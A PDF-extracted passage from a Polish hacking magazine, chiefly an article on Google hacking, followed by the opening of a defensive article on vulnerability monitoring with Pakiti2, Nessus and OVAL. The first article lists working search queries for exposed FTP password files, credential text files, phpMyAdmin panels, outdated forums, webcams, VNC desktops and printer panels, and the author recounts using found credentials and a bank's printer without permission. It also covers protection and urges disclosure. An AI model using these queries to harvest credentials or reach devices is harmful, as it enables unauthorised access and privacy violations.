IEEE Security and Privacy, 3(6):13-25, Listopad 2005.Marek NowakProgramista i reasercher zajmujący się zagadnieniami z zakresu telekomunikacji. Kontakt z autorem: [email protected].

Rysunek 4. Systemy podsłuchowe CALEA radzą sobie bez podłączania czegokolwiek do linii abonenta. Dane są przechwytywane programowo, bezpośrednio z centrali sieci telekomunikacyjnej

Page 41: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

Strony rekomendowane

Strony rekomendowanew

ww

.i-slownik.pl

ww

w.hcsl.pl

ww

w.antynet.pl

ww

w.ccns.pl

ww

w.osdev.pl

ww

w.ochronainform

acji.plw

ww

.topsec.plw

ww

.hackme.pl

ww

w.hakerzy.net

ww

w.mgibki.w

ordpress.com

Page 42: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

42 HAKIN9

ATAK

3/2010

Prawie bez echa przeszła informacja, że praktycznie ostatnia istniejąca konkurencja Google, wyszukiwarka

Onetu, zaczyna używać ich silnika. Obecnie 97% wszystkich zapytań trafia do Google, a największa konkurencja na silniku MSN posiada 1,3% całości ruchu, który zawdzięcza pewnie bardzo nieświadomym użytkownikom komputerów, z jedynym słusznym systemem i jedyną słuszną przeglądarką. Jednak mało kto wie, że w bazie Google, oprócz danych publicznych, znajdują się również dane poufne: hasła, kopie zapasowe stron czy prywatne zdjęcia. Dostały się tam głównie przez zaniedbanie i postaram się pokazać, jak łatwo je wyszukać.

Opiszę jak dostać się do tych danych, skąd się biorą i jak powinny być odpowiednio zabezpieczone. Nie będzie to artykuł techniczny ani instrukcja do tego jak wykradać dane, choć z konieczności pojawią się takie przykłady. Chcę nakreślić potencjalnemu czytelnikowi obraz i skalę zjawiska oraz uświadomić go o zagrożeniach oraz potencjalnych możliwościach, jakie daje nam Google. Postaram się przedstawić kilka różnych typów danych, do jakich możemy się dostać, przeglądając bazy Google. Pokażę jak osoba o średnim poziomie pomysłowości może dostać się do danych poufnych oraz fakt, że wyszukiwarka to także ciekawe źródło danych statystycznych, marketingowych i

KRZYSZTOF MARZEC

Z ARTYKUŁU DOWIESZ SIĘjak wyszukiwać informacje nie przeznaczone do wyszukiwania,

jak zabezpieczyć się przed wyciekiem informacji w Google,

jak budować nowe zapytania, poszukując specyficznych danych.

CO POWINIENEŚ WIEDZIEĆjak używać operatorów zapytań Google,

podstawowa obsługa serwera www.

demograficznych. Postaram się też nakreślić obraz indeksu Google jako wyników pełnych danych, nie do końca publicznych, i ciekawostek. Na koniec wskaże techniki zabezpieczania się przed wyciekiem danych do indeksu Google, a także pułapki z nimi związane.

Zanim zaczniemyZdobywanie haseł i danych za pomocą Google może wydawać się ciekawe i kuszące, ale używanie ich to już zupełnie inna sprawa. Poza kwestią moralną i prawną zwracam uwagę na fakt, że opisywane techniki są powszechnie znane, stąd łatwo trafić na pułapki – sieciową wersje Honey Pot. To specjalnie przygotowane strony, na których widnieją hasła, ale ich użycie spowoduje jedynie zapis naszej aktywności na komputerze osoby zbierającej nasze dane. Dodatkowo Google wdrożyło pewne zabezpieczenia i nawet podczas pisania tego artykułu, przy niektórych zapytaniach pojawiał się komunikat, że mój komputer zadaje automatyczne zapytania.

Kolejną kwestią są strony, które wykorzystują zapał początkujących adeptów Google i są umieszczone wysoko, odpowiadając na niektóre bardzo popularne zapytania wspominane w artykule. Udając wygląd indeksu plików Apache serwują nam reklamy lub przekierowują na strony, które niekoniecznie chcielibyśmy oglądać. Należy

Stopień trudności

Google HackingJeszcze parę lat temu łatwo było znaleźć wielu zaciekłych przeciwników tej wyszukiwarki, chroniących się za proxy i kasujących codziennie cookies, aby uchronić resztki prywatności. Dziś mało kto już oburza się na fakt, że jedna konkretna firma ma dostęp do tak wielkiej ilości informacji, a zapytania w Google wpisuje praktycznie każdy użytkownik Sieci.

Page 43: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

43 HAKIN9

GOOGLE HACKING

3/2010

pamiętać, że ta dziedzina miała swój najlepszy czas w latach 2004 – 2006 i powstały nawet aplikacje umożliwiające tworzenie zapytań bez znajomości składni (zobacz: aplikacja Google Hacks http://code.google.com/p/googlehacks/downloads/list ). Najwięcej stron, które udają pożądane wyniki, znajdziemy przy najpopularniejszych zapytaniach, warto je więc filtrować frazami negatywnymi lub kontynuować poszukiwania na dalszych podstronach wyników wyszukiwania.

Szukamy: hasłaIndeks Google dla potencjalnego szperacza to bardzo łakomy kąsek. Całą sztukę wyszukiwania poufnych informacji i haseł można opisać w jednym słowie: zapytanie . (W dalszej części tekstu zapytania będą wyróżnione kursywą.) Jedyne co musimy zrobić to wymyślić ciekawe zapytanie, które poda nam jak na tacy to, czego szukamy. Dla przykładu Total Commander jest jednym z popularnych klientów FTP dla Windows. Jego główną wadą jest fakt przechowywania haseł w pliku, łatwym do namierzenia i złamania. Tworzymy zatem zapytanie: „inurl:wcx_ftp” filetype:ini , szukające plików o nazwie wcx_ftp.ini . Wyniki trochę nas załamią, bo bardzo niedobrze świadczą o właścicielach plików na jakie trafimy. Tym prostym zapytaniem mogłem dostać się momentalnie na kilkanaście serwerów FTP już z pierwszego pliku jaki wyszukałem. Tu od razu uwaga – sporo danych, na które można tak trafić będzie przeterminowanych, a hasła zmienione. Wynika to z prostego faktu, że osób wyszukujących takie pliki jest mnóstwo. Napisanie automatu, który informuje na bieżąco o nowych plikach, które trafiły do indeksu jest proste, a Google udostępnia narzędzie – Google Alerts (http://www.google.com/alerts ), które samo poinformuje nas o takim zdarzeniu. Dobrze, ale bądźmy bardziej bezczelni: „inurl:hasla” filetype:txt. W pierwszej dziesiątce wyniki zaśmiecone, ale w drugiej mam już hasło do czyjegoś routera, konta hostingowego, bazy danych i kilkunastu serwerów FTP. Inny adres już nieaktualny, więc

klikam link do kopii w Google i trafiam na kolejne hasła. Czy idea tworzenia zapytań jest już jasna?

Wspomniane zapytania to bardzo proste przykłady, ale wystarczy zastanowić się jak jest przechowywane dane hasło, aby do niego dotrzeć. Zapytanie ext:pwd inurl:(service | authors | administrators | users) "# -FrontPage-" wyszukuje około setki wyników, które w połączeniu z jakimkolwiek programem do ripowania haseł mogą umożliwić nieuprawniony dostęp.

Szukamy listy plikówNiezabezpieczony serwer, pokazujący wszystkie pliki użytkowników z poziomu przeglądarki, to poważna wpadka administratora. Jak je wyszukać? Trzeba znać wygląd konkretnych stron najpopularniejszych serwerów. Potem szukamy wspólnego mianownika – np.: frazy index.of w adresie i występujących na niej słów: parent directory lub name, size. Przykłady intitle:index.of name size lub intitle:index.of "parent directory" pozwolą odnaleźć setki list plików publicznych, ale też wiele zwyczajnie niezabezpieczonych. Poszukiwania są

wyjątkowo skuteczne, jeśli dodamy na końcu komendę site: z adresem dużej uczelni. Takich zapytań możemy tworzyć tyle, ile znamy typów serwerów. Oglądamy stronę wynikową – np.: apache i wiemy, że wszystkie inne wyszukamy zapytaniem intext:"Apache Server at * Port" lub analizujemy serwer Tomcat i wiemy, że zapytanie powinno wyglądać następująco: intitle:"Directory Listing For" intext:Tomcat -intitle:Tomcat.

Takie zapytania dają dostęp do prywatnych zdjęć, dokumentów i innych plików. Łatwo wyszukać w ten sposób filmy: * "parent directory " DVDRip -xxx -html -htm -php -shtml -opendivx -md5 -md5sums , czy inne pliki, na przykład czyjeś CV : "parent directory " cv.pdf site:.pl.

Systemami bardzo podatnymi na takie wyszukiwanie są duże hostingi, gdzie użytkownik dostaje własną subdomenę w domenie hostingu. Zapytanie "intitle:index of" site:nazwa-hostingu.pl daje przeważnie dostęp do plików, które nigdy nie miały być publiczne lub list katalogów, pozwalających bardzo łatwo sprawdzić ile i jakie domeny są podłączone do tego samego konta hostingowego.

Rysunek 1. Statystyki z Ranking.pl pokazują ogromną dominację silnika Google

Page 44: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

44 HAKIN9 3/2010

GOOGLE HACKING

45 HAKIN9 3/2010

Szukamy systemów podatnych na włamaniaKażdy ogólnodostępny i popularny system forum, sklepu internetowego czy blogowy wymaga stałych aktualizacji bezpieczeństwa. Nie wszyscy jednak to robią, nie zdając sobie sprawy, że właśnie na to czeka mnóstwo scriptkiddies. Gdy w Sieci ukazuje się nowy exploit , potencjalny atakujący może momentalnie wyszukać w Google wszystkie stare wersje danego skryptu i łatwo je uszkodzić. Tak wyglądał między innymi zeszłoroczny atak tureckich pseudohackerów na polskie

strony. Atakujący wyszukali w Google niezaktualizowane skrypty Joomla i użyli gotowych rozwiązań na włamanie. Skalę problemu może obrazować fakt, że zaraz po atakach Google pozwalało wyszukać ponad 400 uszkodzonych skryptów Joomla. Wyszukiwania takie są niezwykle proste: intext:Powered by: vBulletin Version 3.7.4. Dają nam listę adresów z zainstalowaną starą, mało bezpieczną wersją skryptu forum. Sporo osób o tym wie i aktywnie to wykorzystuje, o czym świadczą sugestie samego Google, oparte na historii zapytań (Rysunek 2).

Szukamy kart kredytowych, numerów seryjnych, baz danychNiegdyś bardzo niebezpieczny trick z zapytaniem o numery kart kredytowych jest już dziś bezużyteczny. Opisało go tak wiele stron, że zapytanie visa+4356000000000000..4356999999999999 przestało być użyteczne. Nie zapominajmy jednak, że pewne dane można wyłowić z Google znając pewien wzorzec. Jeśli np.: osoba próbująca złamać zabezpieczania programu poszukuje numeru seryjnego wystarczy, żeby znalazła dwa, a kolejne odnajdzie już bez żadnego problemu. Wpisuje wtedy oba w Google, wyszukując kolejne listy numerów seryjnych publikowanych na stronach czy forach. Analogiczna zasada działa z bazami danych, bazami adresowymi czy listami serwerów FTP. Powstrzymam się od podawania przykładów, ale parę godzin z tym zagadnieniem daje dostęp do bardzo ciekawych danych, a nawet całych baz i plików z danymi.

Innym sposobem wyszukiwania baz danych są zapytania o pliki baz: *.mdb, *.sql czy arkuszy: *.xls. Wystarczy skojarzyć odpowiednie zapytanie, frazy występujące w pliku i typ pliku, aby wyszukać bazy pełne danych.

Szukamy ciekawostekWiele razy podczas szybkiej aktualizacji strony zdarzało mi się wysłać na serwer skrypt do zarządzania bazą danych – PhpMyAdmin, ręcznie skonfigurowany do połączenia z bazą. Bardzo sprytnie zmieniałem nazwę katalogu, w którym go instalowałem, tak aby nikt nie na niego nie trafił. Oczywiście popełniałem duży błąd, bo wyszukanie takich danych jest dziecinnie proste: intitle:phpMyAdmin "Welcome to phpMyAdmin ***" "running on * as root@*" /. Z dostępem do takiego folderu możliwość edycji treści strony czy wykradnięcie haseł użytkowników to kwestia kilku chwil. Podobnie jest ze skryptem PHP Photo Album, który wyszukany zapytaniem: inurl:"phphotoalbum/upload" daje dostęp do wysyłania plików graficznych do cudzych albumów.

NarzędziaWystarczy nam interface Google, a najlepiej wyszukiwanie zaawansowane (http://www.google.pl/advanced_search?hl=pl ) oraz kilka podstawowych komend. Pisząc zapytanie do Google trzeba pamiętać, że wyszukiwarka pomija niektóre słowa, np.: a, an, i, or, the. Nie zadziałają też za długie zapytania i te niedokładne. Możemy używać operatorów:

OR – jako alternatywa,„+” – jako zaznaczenie elementu, który musi wystąpić,„-” – jako wykluczenie elementu,„” – cudzysłów, aby wyszukać dokładnie taką frazę,* – gwiazdka nie działa jako uzupełnianie wyrazów ( Krak*w), ale zadziała jako wildcard : „tanie * w Krakowie”.cache: – zwraca kopię lokalną strony,intext: – wyszukiwane słowa mają znajdywać się w treści strony,inurl: – wyszukiwane słowa mają znajdywać się w adresie strony,intitle: – wyszukiwane słowa mają znajdywać się w tytule strony,filetype: , ext: – wyszukiwanie określonych typów plików,site: – przeszukuje tylko podstrony w danej domenie, adresie.

Pełna lista typów znajduję się m. in. na stronie: http://www.googleguide.com/advanced_operators_reference.html

Rysunek 2. Podpowiedzi Google – jak widać wiele osób przed nami próbowało wyszukać podatne na ataki wersje tego forum

Page 45: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

ATAK

44 HAKIN9 3/2010

GOOGLE HACKING

45 HAKIN9 3/2010

Inną ciekawostką jest formułka, pozwalająca wyszukiwać kamery monitoringu na podstawie ścieżki typowej dla danej aplikacji:

inurl:"viewerframe?mode=motion" – requiresintitle:"snc-rz30 home" intitle:"WJ-NT104 Main" inurl:LvAppl intitle:liveapplet intitle:"Live View / - AXIS" inurl:indexFrame.shtml "Axis Video Server"inurl:"viewerframe?mode=refresh"

Zapytania dają niesamowite efekty. Możemy oglądać wnętrza biur, obrazy rejestrowane na żywo z kamer ulicznych i prywatnych.

Kolejne ciekawe zapytanie pozwoli nam wyszukać pulpity, udostępniane do zdalnego dostępu przez aplikację typu VNC: "vnc desktop" inurl:5800. Pozostaje jedynie złamać hasło, a dostęp do danych stoi otworem. Ale nie musimy wcale włamać się do czyjegoś komputera, aby oglądać jego prywatne zdjęcia. Jak to zrobić? Nic prostszego – sporo aparatów domyślnie przechowuje zdjęcia w folderze DCIM (od Digital Camera Images) i przerzucone bezpośrednio na serwer pojawią się dla nas po wpisaniu w Google zapytania intitle:DCIM index.of. Jeśli aparat to np. Nikon D80 to folder będzie nazywał się inaczej i potrzebne nam będzie zapytanie intitle:100NCD80 index.of. Możemy też użyć wyszukiwarki grafiki, aby przeglądać konkretne zdjęcia, nazywane domyślnie „DSC_0001.jpg” i kolejnymi numerami.

Jeśli chcemy pobawić się ustawieniami czyjejś drukarki sieciowej musimy wiedzieć jakich fraz szukać w konkretnym interfejsie panelu konfiguracyjnego. Dla przykładu panel drukarek Lexmark: intext:"UAA(MSB)" Lexmark -ext:pdf intitle:lexmark zaprasza nas do zmiany ustawień kolorów i podglądania statystyk. Gdybym tylko chciał to w jednym z banków w USA drukarka drukowałaby tylko monochromatycznie. Jednak jestem w miarę miły, dlatego za pomocą tego panelu wydrukowałem kartkę z napisem, że wkrótce skończy się toner. Czy na pewno się wydrukowało? Tak,

sprawdziłem to na liczniku stron, do którego też był dostęp. Jak wspomniałem – możliwości są zadziwiające.

Skąd takie dane biorą się w indeksie?Jeśli myślicie, że jedynym sposobem na indeksacje treści przez Google są linki prowadzące roboty na daną stronę, to jesteście w dużym błędzie. Sam zauważyłem, że strony, których nigdy nigdzie nie linkowałem pojawiały się w indeksie. Skąd zatem te dane? Teorii jest wiele, jednak sporo osób jest zgodnych, że przeglądanie stron niektórymi przeglądarkami lub z zainstalowanym programem Google Desktop powoduje zgłaszanie tych stron do indeksacji. Są to spekulacje, zaś przetestowanie ich pozostawiam czytelnikom. Wspomnę

jeszcze tylko o tym, że już parę lat temu wśród wypowiedzi inżynierów wyszukiwarek pojawiały się informacje o innowacyjnych sposobach na indeksację Deep Webu, czyli stron i baz danych, które do tej pory nie były nigdy indeksowane przez żadne wyszukiwarki.

Wszystkie pozostałe dane to zwyczajne zaniedbania administratorów lub niewiedza użytkowników systemów. Sam korzystałem z jednego z serwerów uczelnianych, gdzie jedynym miejscem na przechowywanie plików był public_html , ogólnie dostępny z poziomu wyszukiwarki. Bez zabezpieczenia folderu dane były publicznie dostępne, jednak mało który student o tym wiedział.

Aby lepiej zobrazować jak duży problem może stanowić takie chwilowe zapytanie, opiszę prawdopodobną

Rysunek 3. Panelu drukarki Lexmark w jednym z banków w USA wyszukany za pomocą Google.

Rysunek 4. Google już wie, że coraz więcej polaków boli głowa

Page 46: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

46 HAKIN9 3/2010 47 HAKIN9 3/2010

wpadkę Google z usługą Voice. W październiku w serwisie YouTube pojawiły się filmy opisujące Google Hack, który przy użyciu zapytania site:https://www.google.com/voice/fm/*, rzekomo dawał dostęp do zapisów rozmów telefonicznych użytkowników usługi Google Voice. Nie udało mi się potwierdzić tej informacji, więc użyłem wyszukiwarki Bing. Efekt – informacja się potwierdziła, uzyskałem dostęp do zarejestrowanych wiadomości z usługi Google Voice, co do których nie jestem pewien czy rzeczywiście miały być upublicznione. Pozostaje pytanie, czy to wyciek danych czy raczej element kampanii reklamowej nowej usługi?

Jak się zabezpieczać?Przede wszystkim pomyśleć o tym, czy takich danych przypadkiem nie udostępniamy. Drugim etapem jest skonfigurowanie serwera tak, aby nie pokazywał list plików, jeśli ktoś wywoła katalog. Dla osób chcących mieć większą pewność polecam zapytanie site: na własnej domenie lub własnym IP. Bardziej dokładnym sposobem jest ściągnięcie całej swojej strony za pomocą programu typu HTTrack . Polecam również program Gooscan , który sprawdza dany system za pomocą wielu zapytań podobnych do tych, które opisuje. Ilość różnych zapytań w tym programie jest na tyle

imponująca, że może być to doskonałe narzędzie do wyszukiwania prostych luk w zabezpieczeniach serwera.

Oczywiście możemy również zablokować dostęp do domeny dla robotów Google. W tym celu należy założyć konto oraz zweryfikować własność domeny w Google Webmaster Tools (www.google.com/webmasters/tools ). Poprzez umieszczenie na serwerze specjalnego pliku lub meta tagu unikatowego dla naszego konta, informujemy Google o tym, że jesteśmy właścicielem danej strony. Konto w Google Webmaster Tools daje nam dostęp do szeregu ciekawych opcji, w tym blokowania całości lub części zasobów przed indeksacją.

Kolejną opcją jest plik robots.txt . W pliku tym możemy grzecznie poinformować wyszukiwarki, aby nie szperały po naszych danych. Oczywiście nie wszystkie będą słuchać. Możemy też wpaść w ciekawą pułapkę. Ponieważ plik robots.txt jest publiczny, każdy może sprawdzić, co tak skutecznie chcemy ukryć. Może skończyć się na domysłach dlaczego dany portal ukrywa przed Google niektóre artykuły: http://www.gazeta.pl/robots.txt lub dlaczego do niedawna oficjalna strona Białego Domu w USA blokowała dostęp wyszukiwarek do kilkudziesięciu plików tekstowych dotyczących m.in.

11 września 2001. Oczywiście nasza wiedza nie poszła w las, więc zaraz możemy stworzyć odpowiednie zapytanie, którym wyszukamy wszystkie takie strony:"robots.txt" "disallow:" filetype:txt i dowiemy się kto i co chce przed nami ukryć.

Ostatnią opcją jest prewencja – nie umieszczanie ważnych danych w ogólnie dostępnych folderach. Polecam zabezpieczenie ich za pomocą plików .htaccess/.htpasswd hasłem lub skonfigurowanie tak, aby dopuszczały połączenia tylko z konkretnych IP.

Ciekawe dane prosto od GoogleZanim skończę, chciałbym jeszcze pokazać, jak w pełni legalny i darmowy sposób uzyskać dane, o których jeszcze tak niedawno firmy marketingowe mogły pomarzyć. Zawsze ciekawiło mnie co ludzie wpisują w Google, jak często, kiedy zaczynają szukać w Sieci informacji o danym wydarzeniu i tym podobne. Teraz można to bardzo łatwo sprawdzić. Google udostępnia serie narzędzi: Google Trends (http://www.google.com/trends ), Google Insights For Search (http://www.google.com/insights/search/) oraz KeyWord Tool External (https://adwords.google.pl/select/KeywordToolExternal) . Dwa pierwsze narzędzia potrafią obrazować trendy ilości zapytań na konkretne frazy, przy czym Google Insight for Search jest narzędziem dużo bardziej zaawansowanym. KeyWord Tool External potrafi wskazać przybliżoną liczbę zapytań, jakie każda z fraz generuje miesięcznie oraz podpowiedzieć frazy zbliżone tematycznie.

Z analizy wykresów wynika wiele ciekawych wniosków – już po chwili dowiemy się, że prawdopodobnie z roku na rok przybywa w Polsce osób cierpiących na ból głowy. Widzimy też, że szał szukania sylwestrowych ofert imprez zaczyna się już w październiku, największe zakupy biżuterii przypadają na grudzień i wtedy też najwięcej osób szuka informacji na temat ciąży. Możemy też zaobserwować smutny spadek ilości zapytań o frazy Debian czy Linux.Rysunek 5. Widok z przykładowej kamery wyszukanej za pomocą Google

ATAK

Page 47: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

46 HAKIN9 3/2010 47 HAKIN9 3/2010

Oczywiście tak jak samym indeksem Google, tak i tymi danymi można manipulować – świadczy o tym np. wygląd wykresu na słowo pozycjonowanie, które zostało zaburzone przez proste osadzenie wyszukiwarki Google, z adresem zadającym właśnie takie zapytanie, w niewidzialnej dla użytkownika ramce (iframe) na dosyć popularnych stronach. Tak wygenerowany ruch spowodował zaburzenie danych statystycznych, co na przykład daje świetny sposób na pokazanie szefowi wzrostu zainteresowania daną marką w Google.

Ciekawostką mogą być też podpowiedzi, jakie Google pokazuje w oknie wyszukiwania pod wpisywanym tekstem. Poza wieloma ciekawymi wnioskami mój ulubiony: należy wpisać w wyszukiwarkę czy jestem , a Google bardzo zaskakująco dokończy za nas nasze pytanie.

Przy wyszukiwaniu takich danych nie możemy też zapomnieć o głównej technice opisywanej w artykule, czyli specyficznych zapytaniach. Jeśli jesteśmy ciekawi statystyk odwiedzin innych stron, polecam zapytanie intitle:"usage statistics for" "generated by webalizer", dzięki której dostaniemy się do setek niezabezpieczonych raportów popularnej aplikacji Webalizer. Aplikacja ta służy do generowania raportów odwiedzin strony na podstawie analizy logów serwera i w tym przypadku jest źródłem ciekawych danych nie tylko dla właściciela witryny, ale również dla konkurencji.

PodsumowanieMam nadzieje, że udało mi się pokazać, że Google jest pełne bardzo ciekawych danych, źle zamaskowanych przed wprawnym okiem szperaczy. Czy to w wyniku zaniedbania czy błędu udostępniamy mnóstwo danych bez zastanawiania się nad konsekwencjami. Ponieważ problem nie dotyczy tylko jednej wyszukiwarki, opisane tu

zjawiska można przełożyć na inne systemy. W zależności od silnika i poziomu skomplikowania składni języka zapytań, osiągniemy różne efekty, lecz wyszukiwarkami skazanymi na sukces w zdobywaniu danych są na pewno te zaimplementowane w klientach plików p2p. Prostą wyszukiwarką eMule można zdobyć dostęp do plików z hasłami przypadkowo udostępnionymi razem z całym dyskiem. Zamiast zapytać wyszukiwarkę o legalne pliki pobierane na co dzień, wpiszmy tam frazy typu: hasla.txt, wcx_ftp.ini itp . Udało mi się w ten sposób namierzyć pliki ze zbiorami haseł, wypełnione umowy, prace magisterskie, całe pliki z hasłami TotalCommandera, inne prywatne dokumenty, a nawet całe foldery prywatnych zdjęć. Pokazuje to, jak bardzo lekkomyślni są użytkownicy Sieci, niezdający sobie sprawy z możliwości utraty danych. Na kilkanaście prób kontaktów z osobami, które wśród listy plików miały udostępnione pliki z hasłami tylko kilka odpisało, zaś tylko jedna od razu zrozumiała przed czym ją ostrzegam.

Podsumowując – świadomość potencjalnych zagrożeń jest mała, a amatorów tego typu rozrywki w Google setki. Dlatego w budowaniu zawartości naszych serwerów, zawsze kierujmy się zdrowym rozsądkiem, a odszukując opisane w tym artykule dziury starajmy się pokazać je właścicielom serwera, zamiast wykorzystywać dla chwilowej rozrywki. Kto wie, może kiedyś ktoś będzie na tyle uprzejmy, aby ostrzec nas przed potencjalną luką w zabezpieczeniach, zanim ujawni ją całemu światu?

Krzysztof MarzecAutor zawodowo zajmuje się tematyką wyszukiwarek internetowych i jest specjalistą ds. optymalizacji i pozycjonowania. Od trzech lat jest głównym konsultantem portalu Interia.pl ds. pozycjonowania. Współprowadzi agencję Deva Group www.devagroup.pl. Kontakt z autorem: [email protected].

W SieciZainteresował Cię temat? Polecam największą kopalnię wiedzy na temat Google Hacking. Pod adresem http://johnny.ihackstuff.com/ghdb/ znajdziesz kilkaset tematycznie posortowanych zapytań i mnóstwo inspiracji do kolejnych.

����������������������������������������

��������

������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������

�������������������������������������������������

����������������������������������������������������������������������

Page 48: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

48

OBRONA

HAKIN9 3/2010

Monitorowanie bezpieczeństwa oprogramowania może nie stanowić problemu w przypadku jednego

systemu, nad którym mamy pełną kontrolę. W systemach Microsoft Windows istnieje rozwiązanie takie jak Windows Update, w systemach GNU/Linux, zazwyczaj dostępny jest zarządca pakietów, którym można się posłużyć. Co jednak w przypadku, gdy należy kontrolować większą liczbę systemów lub gdy czas reakcji na ujawnione luki w oprogramowaniu jest krytyczny? Zarządca pakietów nie poinformuje nas o luce bezpieczeństwa, dopóki nowsza wersja pakietu nie zostanie wprowadzona do repozytorium (co dzieje się oczywiście z pewnym opóźnieniem w stosunku do opublikowania informacji o luce).

Rozwiązaniem w takiej sytuacji może okazać się skorzystanie z publicznie dostępnych informacji, list dyskusyjnych, kanałów RSS (ang. Really Simple Syndication) lub ustandaryzowanych list podatności oprogramowania OVAL (ang. Open Vulnerability and Assessment Language). Są one aktualizowane szybciej niż pakiety w repozytoriach, jednak ręczne ich przeglądanie jest bardzo czasochłonne i w praktyce często niewykonalne. Ponadto takie podejście wymaga od administratora znakomitej znajomości oprogramowania zainstalowanego w każdym systemie (co w przypadku rozbudowanych instalacji też nie jest łatwe).

MARCIN TEODORCZYK

Z ARTYKUŁU DOWIESZ SIĘjak monitorować bezpieczeństwo oprogramowania,

co to jest standard OVAL,

co mają do zaoferowania Pakiti2 i Nessus.

CO POWINIENEŚ WIEDZIEĆznać podstawy administracji systemów UNIX,

posiadać działające serwery MySQL i Apache z obsługą PHP.

Aby zaradzić powyższej sytuacji, można skorzystać z co najmniej dwóch rodzai narzędzi. Pierwsze z nich to narzędzia instalowane na monitorowanym systemie i skanujące oprogramowanie lokalnie. Zaletą takiego podejścia jest łatwy dostęp do informacji o oprogramowaniu i praktycznie stuprocentowa pewność ich poprawności. Wadą jest konieczność instalowania oprogramowania na każdym systemie, który ma być monitorowany. Przykładami takich implementacji są debsecan (dostępny dla systemów Debian), Pakiti oraz Pakiti2 dostępne dla systemów opartych o pakiety RPM (ang. RPM Package Manager ). Drugim rodzajem narzędzi są skanery wykorzystujące sieć komputerową. Oczywistą zaletą takiego podejścia jest brak konieczności instalacji na każdym z monitorowanych hostów (możliwe jest nawet zautomatyzowane skanowanie zakresów IP czy całych podsieci). Wadą jest mniejszy zakres (często ograniczony tylko do usług dostępnych przez Sieć) i dokładność skanowania. Przykładami są tutaj Nessus i OpenVAS (ang. Open Vulnerability Assessment System).

Pakiti227 stycznia 2006 roku opublikowano pierwszą, stabilną wersję systemu Pakiti. Pozwała ona na tworzenie list oprogramowania podatnego na ataki na wybranych hostach (z zainstalowanym

Stopień trudności

Monitorowanie luk w oprogramowaniu

Artykuł opisuje dwie techniki zarządzanego centralnie monitorowania luk w oprogramowaniu: opartą o skanowanie lokalne i opartą o skanowanie przez sieć. Jako praktyczne przykłady przedstawiono narzędzia Pakiti2 i Nessus.

Page 49: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

49

MONITOROWANIE LUK W OPROGRAMOWANIU

HAKIN9 3/2010

pakietem klienta). Posiadała jednak szereg wad, takich jak konieczność uprawnień użytkownika root , wsparcie tylko dla dystrybucji opartych o apt-get i up2date. 3 kwietnia 2008 roku opublikowano wersję Pakiti 2.0 beta (Pakiti2) prezentującą zupełnie odmienne podejście implementacyjne, przy zachowaniu takiej samej funkcjonalności. Niestety, wersja ta ma jeszcze wiele błędów i nie nadaje się do praktycznego wykorzystania. Pakiti2 jest cały czas rozwijane, a kod źródłowy można pobrać z repozytorium CVS (ang. Concurrent Versions System), do którego odnośnik znaleźć można w ramce W Sieci .

W niniejszym artykule przedstawiony zostanie system Pakiti2, nieco zmodyfikowany przez autora, funkcjonujący pod kontrolą CentOS 5, pozwalający na zautomatyzowane wyszukiwanie zainstalowanego w wybranych systemach systemach oprogramowania podatnego na ataki (z udokumentowanymi w języku OVAL lukami). Zmodyfikowane Pakiti2 wykorzystuje do tego celu lokalnie menadżera pakietów oraz w serwerze centralnym uzyskane od klientów listy pakietów i listy OVAL pobierane ze strony dystrybucji Red Hat. Wyniki działania dostępne są przez interfejs WWW. Wsparcie dostarczane jest dla dystrybucji opartych o pakiety RPM i repozytoria RHEL (ang. Red Had Enterprise Linux), głównie ze względu na dostępność aktualnych list OVAL. Przykładowymi, wspieranymi dystrybucjami Linuksa są: CentOS 4/5, RHEL 3/4/5 i Scientific Linux 3/4/5.

OVALZanim jeszcze przejdziemy do opisu, instalacji, konfiguracji i samego uruchomienia Pakiti2, zapoznajmy się ze standardem OVAL, stanowiącym podstawę funkcjonowania tego systemu. OVAL jest międzynarodowym standardem zapisu i wymiany informacji dotyczących bezpieczeństwa. W jego skład wchodzą: język opisu podatności oprogramowania/systemów oraz repozytoria. Język standaryzuje sposób opisu konfiguracji systemu i podatności w nim występujących, wyróżniając trzy

Rysunek 1. Architektura systemu Pakiti2

Rysunek 2. Pakiti2 – strona główna

Rysunek 3. Pakiti2 – luki wykryte w oprogramowaniu

Page 50: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

50 HAKIN9 3/2010

MONITOROWANIE LUK W OPROGRAMOWANIU

51 HAKIN9 3/2010

Listing 1a. Fragment pliku XML z listą OVAL

<defi nition id="oval:com.redhat.rhsa:def:20091219" version="302" class="patch">

<metadata>

<title>RHSA-2009:1219: libvorbis security update (Important)</title>

<affected family="unix">

<platform>Red Hat Enterprise Linux 3</platform>

<platform>Red Hat Enterprise Linux 4</platform>

<platform>Red Hat Enterprise Linux 5</platform>

</affected>

<reference source="RHSA" ref_id="RHSA-2009:1219-01" ref_url="https://rhn.redhat.com/errata/RHSA-2009-1219.html"/>

<description>

